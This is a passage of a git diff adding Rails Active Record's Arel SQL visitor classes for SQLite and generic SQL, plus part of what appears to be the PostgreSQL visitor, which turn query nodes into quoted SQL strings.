+          infix_value o, collector, op
+        end
+
+        def visit_Arel_Nodes_NotRegexp(o, collector)
+          op = o.case_sensitive ? " !~ " : " !~* "
+          infix_value o, collector, op
+        end
+
+        def visit_Arel_Nodes_DistinctOn(o, collector)
+          collector << "DISTINCT ON ( "
+          visit(o.expr, collector) << " )"
+        end
+
+        def visit_Arel_Nodes_GroupingElement(o, collector)
+          collector << "( "
+          visit(o.expr, collector) << " )"
+        end
+
+        def visit_Arel_Nodes_Cube(o, collector)
+          collector << "CUBE"
+          grouping_array_or_grouping_element o, collector
+        end
+
+        def visit_Arel_Nodes_RollUp(o, collector)
+          collector << "ROLLUP"
+          grouping_array_or_grouping_element o, collector
+        end
+
+        def visit_Arel_Nodes_GroupingSet(o, collector)
+          collector << "GROUPING SETS"
+          grouping_array_or_grouping_element o, collector
+        end
+
+        def visit_Arel_Nodes_Lateral(o, collector)
+          collector << "LATERAL "
+          grouping_parentheses o.expr, collector
+        end
+
+        def visit_Arel_Nodes_InnerJoin(o, collector)
+          return super if o.right
+          collector << "CROSS JOIN "
+          visit o.left, collector
+        end
+
+        def visit_Arel_Nodes_IsNotDistinctFrom(o, collector)
+          collector = visit o.left, collector
+          collector << " IS NOT DISTINCT FROM "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_IsDistinctFrom(o, collector)
+          collector = visit o.left, collector
+          collector << " IS DISTINCT FROM "
+          visit o.right, collector
+        end
+
+        BIND_BLOCK = proc { |i| "$#{i}" }
+        private_constant :BIND_BLOCK
+
+        def bind_block; BIND_BLOCK; end
+
+        # Utilized by GroupingSet, Cube & RollUp visitors to
+        # handle grouping aggregation semantics
+        def grouping_array_or_grouping_element(o, collector)
+          if o.expr.is_a? Array
+            collector << "( "
+            visit o.expr, collector
+            collector << " )"
+          else
+            visit o.expr, collector
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/visitors/sqlite.rb b/activerecord/lib/arel/visitors/sqlite.rb
new file mode 100644
index 0000000000000..733e0bf64eca2
--- /dev/null
+++ b/activerecord/lib/arel/visitors/sqlite.rb
@@ -0,0 +1,110 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Visitors
+    class SQLite < Arel::Visitors::ToSql
+      private
+        def visit_Arel_Nodes_UpdateStatement(o, collector)
+          collector.retryable = false
+          o = prepare_update_statement(o)
+
+          collector << "UPDATE "
+
+          # UPDATE with JOIN is in the form of:
+          #
+          #   UPDATE t1 AS __active_record_update_alias
+          #   SET ..
+          #   FROM t1 JOIN t2 ON t2.join_id = t1.join_id ..
+          #   WHERE t1.id = __active_record_update_alias.id AND ..
+          if has_join_sources?(o)
+            collector = visit o.relation.left, collector
+            collect_nodes_for o.values, collector, " SET "
+            collector << " FROM "
+            collector = inject_join o.relation.right, collector, " "
+          else
+            collector = visit o.relation, collector
+            collect_nodes_for o.values, collector, " SET "
+          end
+
+          collect_nodes_for o.wheres, collector, " WHERE ", " AND "
+          collect_nodes_for o.orders, collector, " ORDER BY "
+          maybe_visit o.limit, collector
+          maybe_visit o.comment, collector
+        end
+
+        def prepare_update_statement(o)
+          # Sqlite need to be built with the SQLITE_ENABLE_UPDATE_DELETE_LIMIT compile-time option
+          # to support LIMIT/OFFSET/ORDER in UPDATE and DELETE statements.
+          if o.key && has_join_sources?(o) && !has_group_by_and_having?(o) && !has_limit_or_offset_or_orders?(o)
+            # Join clauses cannot reference the target table, so alias the
+            # updated table, place the entire relation in the FROM clause, and
+            # add a self-join (which requires the primary key)
+            stmt = o.clone
+            stmt.relation, stmt.wheres = o.relation.clone, o.wheres.clone
+            stmt.relation.right = [stmt.relation.left, *stmt.relation.right]
+            stmt.relation.left = stmt.relation.left.alias("__active_record_update_alias")
+            Array.wrap(o.key).each do |key|
+              stmt.wheres << key.eq(stmt.relation.left[key.name])
+            end
+            stmt
+          else
+            super
+          end
+        end
+
+        def visit_Arel_Nodes_TableAlias(o, collector)
+          # "AS" is not optional in "{UPDATE | DELETE} table AS alias ..."
+          collector = visit o.relation, collector
+          collector << " AS "
+          collector << quote_table_name(o.name)
+        end
+
+        # Locks are not supported in SQLite
+        def visit_Arel_Nodes_Lock(o, collector)
+          collector
+        end
+
+        def visit_Arel_Nodes_SelectStatement(o, collector)
+          o.limit = Arel::Nodes::Limit.new(-1) if o.offset && !o.limit
+          super
+        end
+
+        def visit_Arel_Nodes_IsNotDistinctFrom(o, collector)
+          collector = visit o.left, collector
+          collector << " IS "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_IsDistinctFrom(o, collector)
+          collector = visit o.left, collector
+          collector << " IS NOT "
+          visit o.right, collector
+        end
+
+        # Queries used in UNION should not be wrapped by parentheses,
+        # because it is an invalid syntax in SQLite.
+        def infix_value_with_paren(o, collector, value, suppress_parens = false)
+          collector << "( " unless suppress_parens
+
+          left = o.left.is_a?(Nodes::Grouping) ? o.left.expr : o.left
+          collector = if left.class == o.class
+            infix_value_with_paren(left, collector, value, true)
+          else
+            grouping_parentheses left, collector, false
+          end
+
+          collector << value
+
+          right = o.right.is_a?(Nodes::Grouping) ? o.right.expr : o.right
+          collector = if right.class == o.class
+            infix_value_with_paren(right, collector, value, true)
+          else
+            grouping_parentheses right, collector, false
+          end
+
+          collector << " )" unless suppress_parens
+          collector
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/visitors/to_sql.rb b/activerecord/lib/arel/visitors/to_sql.rb
new file mode 100644
index 0000000000000..4e5b495b4b2d7
--- /dev/null
+++ b/activerecord/lib/arel/visitors/to_sql.rb
@@ -0,0 +1,1017 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Visitors
+    class UnsupportedVisitError < StandardError
+      def initialize(object)
+        super "Unsupported argument type: #{object.class.name}. Construct an Arel node instead."
+      end
+    end
+
+    class ToSql < Arel::Visitors::Visitor
+      def initialize(connection)
+        super()
+        @connection = connection
+      end
+
+      def compile(node, collector = Arel::Collectors::SQLString.new)
+        accept(node, collector).value
+      end
+
+      private
+        def visit_Arel_Nodes_DeleteStatement(o, collector)
+          collector.retryable = false
+          o = prepare_delete_statement(o)
+
+          if has_join_sources?(o)
+            collector << "DELETE "
+            visit o.relation.left, collector
+            collector << " FROM "
+          else
+            collector << "DELETE FROM "
+          end
+          collector = visit o.relation, collector
+
+          collect_nodes_for o.wheres, collector, " WHERE ", " AND "
+          collect_nodes_for o.orders, collector, " ORDER BY "
+          maybe_visit o.limit, collector
+          maybe_visit o.comment, collector
+        end
+
+        def visit_Arel_Nodes_UpdateStatement(o, collector)
+          collector.retryable = false
+          o = prepare_update_statement(o)
+
+          collector << "UPDATE "
+          collector = visit o.relation, collector
+          collect_nodes_for o.values, collector, " SET "
+
+          collect_nodes_for o.wheres, collector, " WHERE ", " AND "
+          collect_nodes_for o.orders, collector, " ORDER BY "
+          maybe_visit o.limit, collector
+          maybe_visit o.comment, collector
+        end
+
+        def visit_Arel_Nodes_InsertStatement(o, collector)
+          collector.retryable = false
+          collector << "INSERT INTO "
+          collector = visit o.relation, collector
+
+          unless o.columns.empty?
+            collector << " ("
+            o.columns.each_with_index do |x, i|
+              collector << ", " unless i == 0
+              collector << quote_column_name(x.name)
+            end
+            collector << ")"
+          end
+
+          if o.values
+            maybe_visit o.values, collector
+          elsif o.select
+            maybe_visit o.select, collector
+          else
+            collector
+          end
+        end
+
+        def visit_Arel_Nodes_Exists(o, collector)
+          collector << "EXISTS ("
+          visit(o.expressions, collector) << ")"
+        end
+
+        def visit_Arel_Nodes_Casted(o, collector)
+          collector << quote(o.value_for_database).to_s
+        end
+        alias :visit_Arel_Nodes_Quoted :visit_Arel_Nodes_Casted
+
+        def visit_Arel_Nodes_True(o, collector)
+          collector << "TRUE"
+        end
+
+        def visit_Arel_Nodes_False(o, collector)
+          collector << "FALSE"
+        end
+
+        def visit_Arel_Nodes_ValuesList(o, collector)
+          collector << "VALUES "
+
+          o.rows.each_with_index do |row, i|
+            collector << ", " unless i == 0
+            collector << "("
+            row.each_with_index do |value, k|
+              collector << ", " unless k == 0
+              case value
+              when Nodes::SqlLiteral, Nodes::BindParam, ActiveModel::Attribute
+                collector = visit(value, collector)
+              else
+                collector << quote(value).to_s
+              end
+            end
+            collector << ")"
+          end
+          collector
+        end
+
+        def visit_Arel_Nodes_SelectStatement(o, collector)
+          if o.with
+            collector = visit o.with, collector
+            collector << " "
+          end
+
+          collector = o.cores.inject(collector) { |c, x|
+            visit_Arel_Nodes_SelectCore(x, c)
+          }
+
+          unless o.orders.empty?
+            collector << " ORDER BY "
+            o.orders.each_with_index do |x, i|
+              collector << ", " unless i == 0
+              collector = visit(x, collector)
+            end
+          end
+
+          visit_Arel_Nodes_SelectOptions(o, collector)
+        end
+
+        # The Oracle enhanced adapter uses this private method,
+        # see https://github.com/rsim/oracle-enhanced/issues/2186
+        def visit_Arel_Nodes_SelectOptions(o, collector)
+          collector = maybe_visit o.limit, collector
+          collector = maybe_visit o.offset, collector
+          maybe_visit o.lock, collector
+        end
+
+        def visit_Arel_Nodes_SelectCore(o, collector)
+          collector << "SELECT"
+
+          collector = collect_optimizer_hints(o, collector)
+          collector = maybe_visit o.set_quantifier, collector
+
+          collect_nodes_for o.projections, collector, " "
+
+          if o.source && !o.source.empty?
+            collector << " FROM "
+            collector = visit o.source, collector
+          end
+
+          collect_nodes_for o.wheres, collector, " WHERE ", " AND "
+          collect_nodes_for o.groups, collector, " GROUP BY "
+          collect_nodes_for o.havings, collector, " HAVING ", " AND "
+          collect_nodes_for o.windows, collector, " WINDOW "
+
+          maybe_visit o.comment, collector
+        end
+
+        def visit_Arel_Nodes_OptimizerHints(o, collector)
+          hints = o.expr.map { |v| sanitize_as_sql_comment(v) }.join(" ")
+          collector << "/*+ #{hints} */"
+        end
+
+        def visit_Arel_Nodes_Comment(o, collector)
+          collector << o.values.map { |v| "/* #{sanitize_as_sql_comment(v)} */" }.join(" ")
+        end
+
+        def collect_nodes_for(nodes, collector, spacer, connector = ", ")
+          unless nodes.empty?
+            collector << spacer
+            inject_join nodes, collector, connector
+          end
+        end
+
+        def visit_Arel_Nodes_Bin(o, collector)
+          visit o.expr, collector
+        end
+
+        def visit_Arel_Nodes_Distinct(o, collector)
+          collector << "DISTINCT"
+        end
+
+        def visit_Arel_Nodes_DistinctOn(o, collector)
+          raise NotImplementedError, "DISTINCT ON not implemented for this db"
+        end
+
+        def visit_Arel_Nodes_With(o, collector)
+          collector << "WITH "
+          collect_ctes(o.children, collector)
+        end
+
+        def visit_Arel_Nodes_WithRecursive(o, collector)
+          collector << "WITH RECURSIVE "
+          collect_ctes(o.children, collector)
+        end
+
+        def visit_Arel_Nodes_Union(o, collector)
+          infix_value_with_paren(o, collector, " UNION ")
+        end
+
+        def visit_Arel_Nodes_UnionAll(o, collector)
+          infix_value_with_paren(o, collector, " UNION ALL ")
+        end
+
+        def visit_Arel_Nodes_Intersect(o, collector)
+          collector << "( "
+          infix_value(o, collector, " INTERSECT ") << " )"
+        end
+
+        def visit_Arel_Nodes_Except(o, collector)
+          collector << "( "
+          infix_value(o, collector, " EXCEPT ") << " )"
+        end
+
+        def visit_Arel_Nodes_NamedWindow(o, collector)
+          collector << quote_column_name(o.name)
+          collector << " AS "
+          visit_Arel_Nodes_Window o, collector
+        end
+
+        def visit_Arel_Nodes_Window(o, collector)
+          collector << "("
+
+          collect_nodes_for o.partitions, collector, "PARTITION BY "
+
+          if o.orders.any?
+            collector << " " if o.partitions.any?
+            collector << "ORDER BY "
+            collector = inject_join o.orders, collector, ", "
+          end
+
+          if o.framing
+            collector << " " if o.partitions.any? || o.orders.any?
+            collector = visit o.framing, collector
+          end
+
+          collector << ")"
+        end
+
+        def visit_Arel_Nodes_Filter(o, collector)
+          visit o.left, collector
+          collector << " FILTER (WHERE "
+          visit o.right, collector
+          collector << ")"
+        end
+
+        def visit_Arel_Nodes_Rows(o, collector)
+          if o.expr
+            collector << "ROWS "
+            visit o.expr, collector
+          else
+            collector << "ROWS"
+          end
+        end
+
+        def visit_Arel_Nodes_Range(o, collector)
+          if o.expr
+            collector << "RANGE "
+            visit o.expr, collector
+          else
+            collector << "RANGE"
+          end
+        end
+
+        def visit_Arel_Nodes_Preceding(o, collector)
+          collector = if o.expr
+            visit o.expr, collector
+          else
+            collector << "UNBOUNDED"
+          end
+
+          collector << " PRECEDING"
+        end
+
+        def visit_Arel_Nodes_Following(o, collector)
+          collector = if o.expr
+            visit o.expr, collector
+          else
+            collector << "UNBOUNDED"
+          end
+
+          collector << " FOLLOWING"
+        end
+
+        def visit_Arel_Nodes_CurrentRow(o, collector)
+          collector << "CURRENT ROW"
+        end
+
+        def visit_Arel_Nodes_Over(o, collector)
+          case o.right
+          when nil
+            visit(o.left, collector) << " OVER ()"
+          when Arel::Nodes::SqlLiteral
+            infix_value o, collector, " OVER "
+          when String, Symbol
+            visit(o.left, collector) << " OVER #{quote_column_name o.right.to_s}"
+          else
+            infix_value o, collector, " OVER "
+          end
+        end
+
+        def visit_Arel_Nodes_Offset(o, collector)
+          collector << "OFFSET "
+          visit o.expr, collector
+        end
+
+        def visit_Arel_Nodes_Limit(o, collector)
+          collector << "LIMIT "
+          visit o.expr, collector
+        end
+
+        def visit_Arel_Nodes_Lock(o, collector)
+          visit o.expr, collector
+        end
+
+        def visit_Arel_Nodes_Grouping(o, collector)
+          if o.expr.is_a? Nodes::Grouping
+            visit(o.expr, collector)
+          else
+            collector << "("
+            visit(o.expr, collector) << ")"
+          end
+        end
+
+        def visit_Arel_Nodes_HomogeneousIn(o, collector)
+          collector.preparable = false
+
+          visit o.left, collector
+
+          if o.type == :in
+            collector << " IN ("
+          else
+            collector << " NOT IN ("
+          end
+
+          values = o.casted_values
+
+          if values.empty?
+            collector << @connection.quote(nil)
+          else
+            collector.add_binds(values, o.proc_for_binds, &bind_block)
+          end
+
+          collector << ")"
+        end
+
+        def visit_Arel_SelectManager(o, collector)
+          collector << "("
+          visit(o.ast, collector) << ")"
+        end
+
+        def visit_Arel_Nodes_Ascending(o, collector)
+          visit(o.expr, collector) << " ASC"
+        end
+
+        def visit_Arel_Nodes_Descending(o, collector)
+          visit(o.expr, collector) << " DESC"
+        end
+
+        # NullsFirst is available on all but MySQL, where it is redefined.
+        def visit_Arel_Nodes_NullsFirst(o, collector)
+          visit o.expr, collector
+          collector << " NULLS FIRST"
+        end
+
+        def visit_Arel_Nodes_NullsLast(o, collector)
+          visit o.expr, collector
+          collector << " NULLS LAST"
+        end
+
+        def visit_Arel_Nodes_Group(o, collector)
+          visit o.expr, collector
+        end
+
+        def visit_Arel_Nodes_NamedFunction(o, collector)
+          collector.retryable = false
+          collector << o.name
+          collector << "("
+          collector << "DISTINCT " if o.distinct
+          inject_join(o.expressions, collector, ", ") << ")"
+        end
+
+        def visit_Arel_Nodes_Extract(o, collector)
+          collector << "EXTRACT(#{o.field.to_s.upcase} FROM "
+          visit(o.expr, collector) << ")"
+        end
+
+        def visit_Arel_Nodes_Count(o, collector)
+          aggregate "COUNT", o, collector
+        end
+
+        def visit_Arel_Nodes_Sum(o, collector)
+          aggregate "SUM", o, collector
+        end
+
+        def visit_Arel_Nodes_Max(o, collector)
+          aggregate "MAX", o, collector
+        end
+
+        def visit_Arel_Nodes_Min(o, collector)
+          aggregate "MIN", o, collector
+        end
+
+        def visit_Arel_Nodes_Avg(o, collector)
+          aggregate "AVG", o, collector
+        end
+
+        def visit_Arel_Nodes_TableAlias(o, collector)
+          collector = visit o.relation, collector
+          collector << " "
+          collector << quote_table_name(o.name)
+        end
+
+        def visit_Arel_Nodes_Between(o, collector)
+          collector = visit o.left, collector
+          collector << " BETWEEN "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_GreaterThanOrEqual(o, collector)
+          case unboundable?(o.right)
+          when 1
+            return collector << "1=0"
+          when -1
+            return collector << "1=1"
+          end
+          collector = visit o.left, collector
+          collector << " >= "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_GreaterThan(o, collector)
+          case unboundable?(o.right)
+          when 1
+            return collector << "1=0"
+          when -1
+            return collector << "1=1"
+          end
+          collector = visit o.left, collector
+          collector << " > "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_LessThanOrEqual(o, collector)
+          case unboundable?(o.right)
+          when 1
+            return collector << "1=1"
+          when -1
+            return collector << "1=0"
+          end
+          collector = visit o.left, collector
+          collector << " <= "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_LessThan(o, collector)
+          case unboundable?(o.right)
+          when 1
+            return collector << "1=1"
+          when -1
+            return collector << "1=0"
+          end
+          collector = visit o.left, collector
+          collector << " < "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_Matches(o, collector)
+          collector = visit o.left, collector
+          collector << " LIKE "
+          collector = visit o.right, collector
+          if o.escape
+            collector << " ESCAPE "
+            visit o.escape, collector
+          else
+            collector
+          end
+        end
+
+        def visit_Arel_Nodes_DoesNotMatch(o, collector)
+          collector = visit o.left, collector
+          collector << " NOT LIKE "
+          collector = visit o.right, collector
+          if o.escape
+            collector << " ESCAPE "
+            visit o.escape, collector
+          else
+            collector
+          end
+        end
+
+        def visit_Arel_Nodes_JoinSource(o, collector)
+          if o.left
+            collector = visit o.left, collector
+          end
+          if o.right.any?
+            collector << " " if o.left
+            collector = inject_join o.right, collector, " "
+          end
+          collector
+        end
+
+        def visit_Arel_Nodes_Regexp(o, collector)
+          raise NotImplementedError, "~ not implemented for this db"
+        end
+
+        def visit_Arel_Nodes_NotRegexp(o, collector)
+          raise NotImplementedError, "!~ not implemented for this db"
+        end
+
+        def visit_Arel_Nodes_StringJoin(o, collector)
+          visit o.left, collector
+        end
+
+        def visit_Arel_Nodes_FullOuterJoin(o, collector)
+          collector << "FULL OUTER JOIN "
+          collector = visit o.left, collector
+          collector << " "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_OuterJoin(o, collector)
+          collector << "LEFT OUTER JOIN "
+          collector = visit o.left, collector
+          collector << " "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_RightOuterJoin(o, collector)
+          collector << "RIGHT OUTER JOIN "
+          collector = visit o.left, collector
+          collector << " "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_InnerJoin(o, collector)
+          collector << "INNER JOIN "
+          collector = visit o.left, collector
+          if o.right
+            collector << " "
+            visit(o.right, collector)
+          else
+            collector
+          end
+        end
+
+        def visit_Arel_Nodes_On(o, collector)
+          collector << "ON "
+          visit o.expr, collector
+        end
+
+        def visit_Arel_Nodes_Not(o, collector)
+          collector << "NOT ("
+          visit(o.expr, collector) << ")"
+        end
+
+        def visit_Arel_Table(o, collector)
+          if Arel::Nodes::Node === o.name
+            visit o.name, collector
+          else
+            collector << quote_table_name(o.name)
+          end
+
+          if o.table_alias
+            collector << " " << quote_table_name(o.table_alias)
+          end
+
+          collector
+        end
+
+        def visit_Arel_Nodes_In(o, collector)
+          attr, values = o.left, o.right
+
+          if Array === values
+            collector.preparable = false
+
+            unless values.empty?
+              values.delete_if { |value| unboundable?(value) }
+            end
+
+            return collector << "1=0" if values.empty?
+          end
+
+          visit(attr, collector) << " IN ("
+          visit(values, collector) << ")"
+        end
+
+        def visit_Arel_Nodes_NotIn(o, collector)
+          attr, values = o.left, o.right
+
+          if Array === values
+            collector.preparable = false
+
+            unless values.empty?
+              values.delete_if { |value| unboundable?(value) }
+            end
+
+            return collector << "1=1" if values.empty?
+          end
+
+          visit(attr, collector) << " NOT IN ("
+          visit(values, collector) << ")"
+        end
+
+        def visit_Arel_Nodes_And(o, collector)
+          inject_join o.children, collector, " AND "
+        end
+
+        def visit_Arel_Nodes_Or(o, collector)
+          inject_join o.children, collector, " OR "
+        end
+
+        def visit_Arel_Nodes_Assignment(o, collector)
+          case o.right
+          when Arel::Nodes::Node, Arel::Attributes::Attribute, ActiveModel::Attribute
+            collector = visit o.left, collector
+            collector << " = "
+            visit o.right, collector
+          else
+            collector = visit o.left, collector
+            collector << " = "
+            collector << quote(o.right).to_s
+          end
+        end
+
+        def visit_Arel_Nodes_Equality(o, collector)
+          right = o.right
+
+          return collector << "1=0" if unboundable?(right)
+
+          collector = visit o.left, collector
+
+          if right.nil?
+            collector << " IS NULL"
+          else
+            collector << " = "
+            visit right, collector
+          end
+        end
+
+        def visit_Arel_Nodes_IsNotDistinctFrom(o, collector)
+          if o.right.nil?
+            collector = visit o.left, collector
+            collector << " IS NULL"
+          else
+            collector = is_distinct_from(o, collector)
+            collector << " = 0"
+          end
+        end
+
+        def visit_Arel_Nodes_IsDistinctFrom(o, collector)
+          if o.right.nil?
+            collector = visit o.left, collector
+            collector << " IS NOT NULL"
+          else
+            collector = is_distinct_from(o, collector)
+            collector << " = 1"
+          end
+        end
+
+        def visit_Arel_Nodes_NotEqual(o, collector)
+          right = o.right
+
+          return collector << "1=1" if unboundable?(right)
+
+          collector = visit o.left, collector
+
+          if right.nil?
+            collector << " IS NOT NULL"
+          else
+            collector << " != "
+            visit right, collector
+          end
+        end
+
+        def visit_Arel_Nodes_As(o, collector)
+          collector = visit o.left, collector
+          collector << " AS "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_Case(o, collector)
+          collector << "CASE "
+          if o.case
+            visit o.case, collector
+            collector << " "
+          end
+          o.conditions.each do |condition|
+            visit condition, collector
+            collector << " "
+          end
+          if o.default
+            visit o.default, collector
+            collector << " "
+          end
+          collector << "END"
+        end
+
+        def visit_Arel_Nodes_When(o, collector)
+          collector << "WHEN "
+          visit o.left, collector
+          collector << " THEN "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_Else(o, collector)
+          collector << "ELSE "
+          visit o.expr, collector
+        end
+
+        def visit_Arel_Nodes_UnqualifiedColumn(o, collector)
+          collector << quote_column_name(o.name)
+        end
+
+        def visit_Arel_Nodes_Cte(o, collector)
+          collector << quote_table_name(o.name)
+          collector << " AS "
+
+          case o.materialized
+          when true
+            collector << "MATERIALIZED "
+          when false
+            collector << "NOT MATERIALIZED "
+          end
+
+          visit o.relation, collector
+        end
+
+        def visit_Arel_Attributes_Attribute(o, collector)
+          join_name = o.relation.table_alias || o.relation.name
+          collector << quote_table_name(join_name) << "." << quote_column_name(o.name)
+        end
+
+        BIND_BLOCK = proc { "?" }
+        private_constant :BIND_BLOCK
+
+        def bind_block; BIND_BLOCK; end
+
+        def visit_ActiveModel_Attribute(o, collector)
+          collector.add_bind(o, &bind_block)
+        end
+
+        def visit_Arel_Nodes_BindParam(o, collector)
+          collector.add_bind(o.value, &bind_block)
+        end
+
+        def visit_Arel_Nodes_SqlLiteral(o, collector)
+          collector.preparable = false
+          collector.retryable &&= o.retryable
+          collector << o.to_s
+        end
+
+        def visit_Arel_Nodes_BoundSqlLiteral(o, collector)
+          collector.retryable = false
+          bind_index = 0
+
+          new_bind = lambda do |value|
+            if Arel.arel_node?(value)
+              visit value, collector
+            elsif value.is_a?(Array)
+              if value.empty?
+                collector << @connection.quote(nil)
+              else
+                if value.none? { |v| Arel.arel_node?(v) }
+                  collector.add_binds(value.map { |v| @connection.cast_bound_value(v) }, &bind_block)
+                else
+                  value.each_with_index do |v, i|
+                    collector << ", " unless i == 0
+                    if Arel.arel_node?(v)
+                      visit v, collector
+                    else
+                      collector.add_bind(@connection.cast_bound_value(v), &bind_block)
+                    end
+                  end
+                end
+              end
+            else
+              collector.add_bind(@connection.cast_bound_value(value), &bind_block)
+            end
+          end
+
+          if o.positional_binds
+            o.sql_with_placeholders.scan(/\?|([^?]+)/) do
+              if $1
+                collector << $1
+              else
+                value = o.positional_binds[bind_index]
+                bind_index += 1
+
+                new_bind.call(value)
+              end
+            end
+          else
+            o.sql_with_placeholders.scan(/:(?<!::)([a-zA-Z]\w*)|([^:]+|.)/) do
+              if $2
+                collector << $2
+              else
+                value = o.named_binds[$1.to_sym]
+                new_bind.call(value)
+              end
+            end
+          end
+
+          collector
+        end
+
+        def visit_Integer(o, collector)
+          collector << o.to_s
+        end
+
+        def unsupported(o, collector)
+          raise UnsupportedVisitError.new(o)
+        end
+
+        alias :visit_ActiveSupport_Multibyte_Chars :unsupported
+        alias :visit_ActiveSupport_StringInquirer  :unsupported
+        alias :visit_BigDecimal                    :unsupported
+        alias :visit_Class                         :unsupported
+        alias :visit_Date                          :unsupported
+        alias :visit_DateTime                      :unsupported
+        alias :visit_FalseClass                    :unsupported
+        alias :visit_Float                         :unsupported
+        alias :visit_Hash                          :unsupported
+        alias :visit_NilClass                      :unsupported
+        alias :visit_String                        :unsupported
+        alias :visit_Symbol                        :unsupported
+        alias :visit_Time                          :unsupported
+        alias :visit_TrueClass                     :unsupported
+
+        def visit_Arel_Nodes_InfixOperation(o, collector)
+          collector = visit o.left, collector
+          collector << " #{o.operator} "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_UnaryOperation(o, collector)
+          collector << " #{o.operator} "
+          visit o.expr, collector
+        end
+
+        def visit_Array(o, collector)
+          inject_join o, collector, ", "
+        end
+        alias :visit_Set :visit_Array
+
+        def visit_Arel_Nodes_Fragments(o, collector)
+          inject_join o.values, collector, " "
+        end
+
+        def quote(value)
+          return value if Arel::Nodes::SqlLiteral === value
+          @connection.quote value
+        end
+
+        def quote_table_name(name)
+          return name if Arel::Nodes::SqlLiteral === name
+          @connection.quote_table_name(name)
+        end
+
+        def quote_column_name(name)
+          return name if Arel::Nodes::SqlLiteral === name
+          @connection.quote_column_name(name)
+        end
+
+        def sanitize_as_sql_comment(value)
+          return value if Arel::Nodes::SqlLiteral === value
+          @connection.sanitize_as_sql_comment(value)
+        end
+
+        def collect_optimizer_hints(o, collector)
+          maybe_visit o.optimizer_hints, collector
+        end
+
+        def maybe_visit(thing, collector)
+          return collector unless thing
+          collector << " "
+          visit thing, collector
+        end
+
+        def inject_join(list, collector, join_str)
+          list.each_with_index do |x, i|
+            collector << join_str unless i == 0
+            collector = visit(x, collector)
+          end
+          collector
+        end
+
+        def unboundable?(value)
+          value.respond_to?(:unboundable?) && value.unboundable?
+        end
+
+        def has_join_sources?(o)
+          o.relation.is_a?(Nodes::JoinSource) && !o.relation.right.empty?
+        end
+
+        def has_limit_or_offset_or_orders?(o)
+          o.limit || o.offset || !o.orders.empty?
+        end
+
+        def has_group_by_and_having?(o)
+          !o.groups.empty? && !o.havings.empty?
+        end
+
+        # The default strategy for an UPDATE with joins is to use a subquery. This doesn't work
+        # on MySQL (even when aliasing the tables), but MySQL allows using JOIN directly in
+        # an UPDATE statement, so in the MySQL visitor we redefine this to do that.
+        def prepare_update_statement(o)
+          if o.key && (has_limit_or_offset_or_orders?(o) || has_join_sources?(o))
+            stmt = o.clone
+            stmt.limit = nil
+            stmt.offset = nil
+            stmt.orders = []
+            columns = Arel::Nodes::Grouping.new(o.key)
+            stmt.wheres = [Nodes::In.new(columns, [build_subselect(o.key, o)])]
+            stmt.relation = o.relation.left if has_join_sources?(o)
+            stmt.groups = o.groups unless o.groups.empty?
+            stmt.havings = o.havings unless o.havings.empty?
+            stmt
+          else
+            o
+          end
+        end
+        alias :prepare_delete_statement :prepare_update_statement
+
+        # FIXME: we should probably have a 2-pass visitor for this
+        def build_subselect(key, o)
+          stmt             = Nodes::SelectStatement.new
+          core             = stmt.cores.first
+          core.froms       = o.relation
+          core.wheres      = o.wheres
+          core.projections = [key]
+          core.groups      = o.groups unless o.groups.empty?
+          core.havings     = o.havings unless o.havings.empty?
+          stmt.limit       = o.limit
+          stmt.offset      = o.offset
+          stmt.orders      = o.orders
+          stmt
+        end
+
+        def infix_value(o, collector, value)
+          collector = visit o.left, collector
+          collector << value
+          visit o.right, collector
+        end
+
+        def infix_value_with_paren(o, collector, value, suppress_parens = false)
+          collector << "( " unless suppress_parens
+          collector = if o.left.class == o.class
+            infix_value_with_paren(o.left, collector, value, true)
+          else
+            grouping_parentheses o.left, collector, false
+          end
+          collector << value
+          collector = if o.right.class == o.class
+            infix_value_with_paren(o.right, collector, value, true)
+          else
+            grouping_parentheses o.right, collector, false
+          end
+          collector << " )" unless suppress_parens
+          collector
+        end
+
+        # Used by some visitors to enclose select queries in parentheses
+        def grouping_parentheses(o, collector, always_wrap_selects = true)
+          if o.is_a?(Nodes::SelectStatement) && (always_wrap_selects || require_parentheses?(o))
+            collector << "("
+            visit o, collector
+            collector << ")"
+            collector
+          else
+            visit o, collector
+          end
+        end
+
+        def require_parentheses?(o)
+          !o.orders.empty? || o.limit || o.offset
+        end
+
+        def aggregate(name, o, collector)
+          collector << "#{name}("
+          if o.distinct
+            collector << "DISTINCT "
+          end
+          inject_join(o.expressions, collector, ", ") << ")"
+        end
+
+        def is_distinct_from(o, collector)
+          collector << "CASE WHEN "
+          collector = visit o.left, collector
+          collector << " = "
+          collector = visit o.right, collector
+          collector << " OR ("
+          collector = visit o.left, collector
+          collector << " IS NULL AND "
+          collector = visit o.right, collector
+          collector << " IS NULL)"
+          collector << " THEN 0 ELSE 1 END"
+        end
+
+        def collect_ctes(children, collector)
+          children.each_with_index do |child, i|
+            collector << ", " unless i == 0
+            visit child.to_cte, collector
+          end
+
+          collector
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/visitors/visitor.rb b/activerecord/lib/arel/visitors/visitor.rb
new file mode 100644
index 0000000000000..dcf0343e09fbb
--- /dev/null
+++ b/activerecord/lib/arel/visitors/visitor.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Visitors
+    class Visitor
+      def initialize
+        @dispatch = get_dispatch_cache
+      end
+
+      def accept(object, collector = nil)
+        visit object, collector
+      end
+
+      private
+        attr_reader :dispatch
+
+        def self.dispatch_cache
+          @dispatch_cache ||= Hash.new do |hash, klass|
+            hash[klass] = :"visit_#{(klass.name || "").gsub("::", "_")}"
